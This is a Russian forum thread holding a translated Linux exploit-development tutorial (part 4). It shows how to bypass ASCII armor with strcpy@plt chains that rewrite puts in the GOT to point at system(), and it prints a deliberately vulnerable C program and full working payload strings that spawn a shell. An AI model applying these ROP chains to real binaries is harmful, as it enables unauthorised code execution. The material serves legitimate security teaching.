Старый 07.04.2012, 00:10   #1
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
Post Разработка эксплоитов для Linux. Часть 4 – обход ASCII armor и возврат в plt

Автор: sickness
Блог автора: http://sickness.tor.hu/
Перевод: <Gh0St>
07.04.2012

Разработка эксплоитов для Linux. Часть 4 – обход ASCII armor и возврат в plt.

ПРИМЕЧАНИЕ: Перед чтением данного документа, рекомендуется ознакомиться со следующими работами:
В третьей части данного руководства использовалась технология ret2libc, чтобы обойти неисполняемый стек (NX), однако, как было сказано ранее, этот метод нестабилен.


Причина?
Ранее использовался адрес строки "/bin/bash" располагающийся в переменной окружения. Переменные окружения находятся в динамической части стека и адрес "/bin/bash" может измениться.

В предыдущих частях данного руководства для тестирования эксплоитов использовались BackTrack 4 и Debian Squeeze. В данном руководстве эксплоит будет создан на Ubuntu 10.04 (С включённым ASCII-Armor).

Необходимые навыки:
  • Понимание концепции переполнения буфера;
  • Владение основными понятиями ASM и C/C++;
  • Понимание основной терминологии , используемой при написании эксплоитов;
  • Понимание основных принципов работы GDB;
  • Понимание основных способов эксплуатации уязвимостей;

Данное руководство не будет понятным пользователям, которые не владеют вышеуказанными знаниями.


Теория.
Перед разработкой эксплоита, ознакомимся с некоторыми теоретическими аспектами.
Атаки ret2libc уже достаточно известны, использование этой техники выглядит примерно следующим образом:
Код:
##############################
МУСОР + system(перезапись EIP) + exit() + адрес “/bin/bash”
##############################
Почему это больше не работает?
Ответ прост: ASLR и ASCII-Armor.
ASLR (Address Space Layout Randomization): Чтобы получить рабочий эксплоит и сделать его надёжным, необходимо знать адреса system(), exit() и "/bin/bash”.
Основная цель ASLR - это случайное распределение адресов в адресном пространстве процесса.

Информация об ASLR

ASCII-Armor отображает важные адреса библиотек, таких как libc, в памяти, как содержащие нулевой байт, что делает использование библиотечных функций невозможным.

ПРИМЕЧАНИЕ: В данном руководстве не рассматривается обход ASLR, только ASCII-Armor и стабильный метод ret2libc.
Начнём!


Уязвимый код.
Код:
##############################
#include <stdio.h>
#include <string.h>

char fakebuffer[] = 
"\x16\x00\x71\x00"
"\x00\x68\x73\x2f\x6e\x69\x62\x2f"
"\x01\x02\x03\x04\x05\x06\x07\x08\x0c\x0e\x0f\x10\x11\x12\x13"
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23"
"\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
"\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e"
"\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d"
"\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa"
"\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9"
"\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8"
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7"
"\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6"
"\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5"
"\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff";

void myfunction(char* input)
{
char buffer[500];
strcpy(buffer, input); // Vulnerable function!
printf ("buffer is %s \n",buffer);
}

int main(int argc, char** argv)
{
myfunction(argv[1]);
printf("bye\n");
return 0;
}
##############################
Скомпилируем приложение, отключив SSP (Stack Smashing Protector).

Рисунок 1

Запустим приложение через отладчик и увидим, что для перезаписи EIP нужно 516 байт.

Рисунок 2

Для обхода NX использовались функции из libc, но теперь появилась небольшая проблема. Если выполнить команду "info files", можно заметить, что адреса в libc содержат нулевой байт.

Рисунок 3

Итак, libc содержит нулевой байт, следовательно, функция system() так же будет содержать нулевой байт, и это немного усложняет задачу.

Рисунок 4


Ещё теория.
В Linux вызов функций из внешних библиотек осуществляется через разделы таблицы связки подпрограмм (Procedure Linkage Table, PLT), в которых располагаются фиксированные адреса на функции из глобальной таблицы смещений (Global Offset Table, GOT). При переходе по адресу в PLT, выполняется прыжок на адрес в GOT.

Когда вызывается библиотечная функция, через раздел в PLT выполняется переход по адресу, указанному в GOT для вызываемой функции. При первом вызове функции, GOT указывает на раздел в PLT, содержащий смещение функции в стеке. Затем вызывается загрузчик функции, который рассчитает реальный адрес функции, запишет его в GOT и затем выполнит переход по этому адресу. При следующем вызове функции, GOT уже будет содержать адрес функции, и программа сможет перейти по нему.

Примечание переводчика: Иначе говоря, если библиотечная функция вызывается впервые, её адрес будет динамически рассчитан и записан в GOT. При следующем вызове этой функции, её адрес уже будет известен.

ПРИМЕЧАНИЕ: Если изложенный теоретический материал был не понятен, не волнуйтесь, далее, на практике, всё будет выполнено шаг за шагом.

Очевидно, необходимо использовать функции работы с памятью (strcpy, sprintf, memcpy, и т.д.). В нашем случае выберем strcpy() и puts(), проверим функции в отладчике, выполнив команду "info functions".

Рисунок 5

Если внимательно присмотреться, то можно увидеть, что каждая функция выполняет переход в GOT, а затем переход по одному и тому же адресу.

Рисунок 6

Теперь необходимо сделать цепочку возвратов на strcpy@plt таким образом, чтобы была возможность передать "полезную нагрузку" в адрес функции puts() в GOT, где мы сможем вызвать её позже. Полезной нагрузкой будет адрес функции system(), которая содержит нулевой байт.

Скелет будущего эксплоита будет выглядеть примерно так:
Код:
##############################
МУСОР + 
strcpy@plt + pop pop ret + puts в GOT [0] + адрес байта [1] +
strcpy@plt + pop pop ret + puts в GOT [1] + адрес байта [2] +
strcpy@plt + pop pop ret + puts в GOT [2] + адрес байта [3] +
strcpy@plt + pop pop ret + puts в GOT [3] + адрес байта [4] +
puts в plt + МУСОР (вместо exit()) + адрес /bin/bash
##############################
Примечание переводчика: В строках со 2-й по 5-ю происходит побайтная перезапись адреса puts в GOT адресом system. В 6-й строке применяется техника, похожая на ret2libc: записывается адрес puts@plt, затем 4 байта мусорных данных и аргумент для функции system (адрес /bin/bash).

При переходе по адресу puts@plt, будет выполнен переход на puts@got, только вместо адреса puts, на этом месте будет располагаться адрес system. Затем будет выполнена функция system с переданным для неё аргументом.


Поиск функций и гаджетов.
Глядя на скелет эксплоита, начнем собирать то, что нам нужно:

A. STRCPY

Рисунок 7

Адрес функции strcpy() = 0x08048344 → \x44\x83\x04\x08

B. P/P/R

Рисунок 8

Гаджет P/P/R необходим для того, чтобы перепрыгнуть через аргументы функции strcpy(). Если P/P/R недоступен (маловероятно, что это возможно), можно использовать ADD ESP, 8.
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08

C. PUTS

Рисунок 9

Адрес функции puts() в GOT = *0x804967c → \x7c\x96\x04\x08
Адрес функции puts() в PLT = 0x08048364 → \x64\x83\x04\x08

D. BASH

Рисунок 10


Рисунок 11


Рисунок 12

Адрес /bin/bash = 0xbffff6a4 → \xa4\xf6\xff\xbf

E. SYSTEM

Рисунок 13

Адрес функции system() = 0x167100
System содержит нулевой байт. Для построения адреса system, необходимо найти каждый байт по отдельности с помощью strcpy().
Для определения диапазона поиска необходимых байт, проверим, где приложение начинается и где заканчивается.


Рисунок 14


Поиск байт.
Необходимо найти 4 шестнадцатеричных значения: 0x00, 0x71, 0x16, 0x00.

Рисунок 15

0x00 = 0x8048127 → \x27\x81\x04\x08

Рисунок 16

0x71 = 0x80496a2 → \xa2\x96\x04\x08

Рисунок 17

0x16 = 0x80496a0 → \xa0\x96\x04\x08

Обладая всеми необходимыми адресами, можно приступить к написанию эксплоита:
Адрес strcpy() = 0x08048344 → \x44\x83\x04\x08
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08
Адрес puts в GOT = *0x804967c → \x7c\x96\x04\x08
Адрес puts в PLT = 0x08048364 → \x64\x83\x04\x08
Адрес /bin/bash = 0xbffff6a4 → \xa4\xf6\xff\xbf
Адрес system() = 0x167100
0x00 = 0x8048127 → \x27\x81\x04\x08
0x71 = 0x80496a2 → \xa2\x96\x04\x08
0x16 = 0x80496a0 → \xa0\x96\x04\x08
0x00 = 0x8048127 → \x27\x81\x04\x08


Написание эксплоита.
Код:
##############################
МУСОР * 512 
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7c\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7d\x96\x04\x08" + "\xa2\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7e\x96\x04\x08" + "\xa0\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7f\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x64\x83\x04\x08" + "\x41\x41\x41\x41" + "\xa4\xf6\xff\xbf"
##############################
Запустим и проверим.

Рисунок 18

ПРИМЕЧАНИЕ: При получении ошибки, проверьте корректность адресов и попробуйте снова.

Адрес функции system() был успешно записан, обход ASCII-Armor, выполнен, но что-то не так. Адрес /bin/bash жёстко задан, что делает его использование нестабильным.


Что теперь?
Используя технику return-to-plt, запишем строку “/bin/bash\x00” в фиксированной области стека для вызова её в качестве аргумента функции system().
Помимо адреса функции strcpy() и гаджета p/p/r, необходимо следующее:

1. Место, для записи строки, обычно это сегмент .bss или .data.

Рисунок 19

Адрес .bss = 0x080497a8 → \xa8 \x97\x04\x08

2. Строка “/bin/sh\x00” в шестнадцатеричном представлении.
Быстрый способ конвертировать строку: перейдите по ссылке Binary Translator, введите строку “/bin/sh” в окно с заголовком TEXT и нажмите на кнопку encode. Шестнадцатеричные символы для строки: 2f 62 69 6e 2f 73 68 и 00.
“/bin/sh\x00” = 2f 62 69 6e 2f 73 68 00

Прежде чем продолжить, следует отметить, что при записи адреса функции system(), использовался прямой порядок байтов (байт справа налево). Но в случае с “/bin/sh\x00”, записывается строка, а не указатель, поэтому каждый байт будет записываться в таком же порядке.
ПРИМЕЧАНИЕ: Адреса каждого байта будут написаны с использованием прямого порядка байтов.


Скелет эксплоита и поиск байтов.
Код:
##############################
МУСОР
+ strcpy@plt + pop pop ret + адрес .bss[0] + адрес “/”
+ strcpy@plt + pop pop ret + адрес .bss[1] + адрес “b”
+ strcpy@plt + pop pop ret + адрес .bss[2] + адрес “i”
+ strcpy@plt + pop pop ret + адрес .bss[3] + адрес “n”
+ strcpy@plt + pop pop ret + адрес .bss[4] + адрес “/”
+ strcpy@plt + pop pop ret + адрес .bss[5] + адрес “s”
+ strcpy@plt + pop pop ret + адрес .bss[6] + адрес “h”
+ strcpy@plt + pop pop ret + адрес .bss[7] + адрес 0x00
+ strcpy@plt + pop pop ret + puts[0] в GOT + адрес 0x00
+ strcpy@plt + pop pop ret + puts[1] в GOT + адрес 0x71
+ strcpy@plt + pop pop ret + puts[2] в GOT + адрес 0x16
+ strcpy@plt + pop pop ret + puts[3] в GOT + адрес 0x00
+ puts в PLT + МУСОР (вместо exit()) + адрес .bss[0]
##############################
Теперь ищем каждый байт адреса так же, как для функции system().
0x2f = 0x80496ab → \xab\x96\x04\x08
0x62 = 0x8049708 → \x08\x97\x04\x08
0x69 = 0x80496a9 → \xa9\x96\x04\x08
0x6e = 0x80496a8 → \xa8\x96\x04\x08
0x2f = 0x80496ab → \xab\x96\x04\x08
0x73 = 0x80496a6 → \xa6\x96\x04\x08
0x68 = 0x80496a5 → \xa5\x96\x04\x08
0x00 = 0x8048127 → \x27\x81\x04\x08

В данном примере используется та же концепция, как при первом вызове system(), только на этот раз вместо того, чтобы писать байты в GOT, мы будем записывать их в сегмент .bss. Сначала сохраним строку “/bin/bash\x00”, потом сохраним system() и вызовем их.

Адрес strcpy() = 0x08048344 → \x44\x83\x04\x08
Адрес p/p/r = 0x08048537 → \x37\x85\x04\x08
Адрес .bss = 0x080497a8 → \xa8 \x97\x04\x08


Итоговый эксплоит.
Код:
##############################
МУСОР * 512 
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xa8\x97\x04\x08" + "\xab\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xa9\x97\x04\x08" + "\x08\x97\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xaa\x97\x04\x08" + "\xa9\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xab\x97\x04\x08" + "\xa8\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xac\x97\x04\x08" + "\xab\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xad\x97\x04\x08" + "\xa6\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xae\x97\x04\x08" + "\xa5\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\xaf\x97\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7c\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7d\x96\x04\x08" + "\xa2\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7e\x96\x04\x08" + "\xa0\x96\x04\x08"
+ "\x44\x83\x04\x08" + "\x37\x85\x04\x08" + "\x7f\x96\x04\x08" + "\x27\x81\x04\x08"
+ "\x64\x83\x04\x08" + "\x41\x41\x41\x41" + "\xa8\x97\x04\x08"
##############################
Проверка эксплоита.
Для того, чтобы убедиться, что строка была скопирована правильно, поставим точку останова на функции strcpy(), запустим эксплоит и проверим регистры. В первый раз регистры %ebp, %ebx и %eax должны содержать нормальные значения. Во второй и третий раз %ebp должен содержать "\x41\x41\x41\x41". Если продолжить выполнение и проверить регистры, можно увидеть, что %eax и %ebx содержат адрес .bss, по которому будет записан текущий байт и %ebp, содержащий адрес байта.

Рисунок 20

В этом случае:
%eax и %ebx = 0x80497a8 содержат адрес .bss[0]
%ebp = 0x80496ab содержит 0x2f → адрес “/”

Когда продолжите выполнение, вы увидите каждый байт строки. Как только все байты из строки разместятся, можно проверить адрес .bss[0], чтобы убедиться, что строка была корректно записана.

Рисунок 21

Если всё верно, продолжайте и будет запущена командная оболочка.

Рисунок 22
__________________
- Про опыт говорят: "Мы так свои ошибки называем"

Последний раз редактировалось <Gh0St>; 15.02.2014 в 14:54.. Причина: Обновление картинок
<Gh0St> вне форума   Ответить с цитированием
Старый 02.02.2014, 17:41   #2
suv121
 
Регистрация: 19.12.2013
Сообщений: 3
Репутация: 0
По умолчанию

картинки не отображаются
suv121 вне форума   Ответить с цитированием
Старый 15.02.2014, 14:55   #3
<Gh0St>
 
Аватар для <Gh0St>
 
Регистрация: 22.03.2012
Сообщений: 75
Репутация: 19
По умолчанию

Обновил
__________________
- Про опыт говорят: "Мы так свои ошибки называем"
<Gh0St> вне форума   Ответить с цитированием
Ответ

Метки
armor, ascii, обход

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot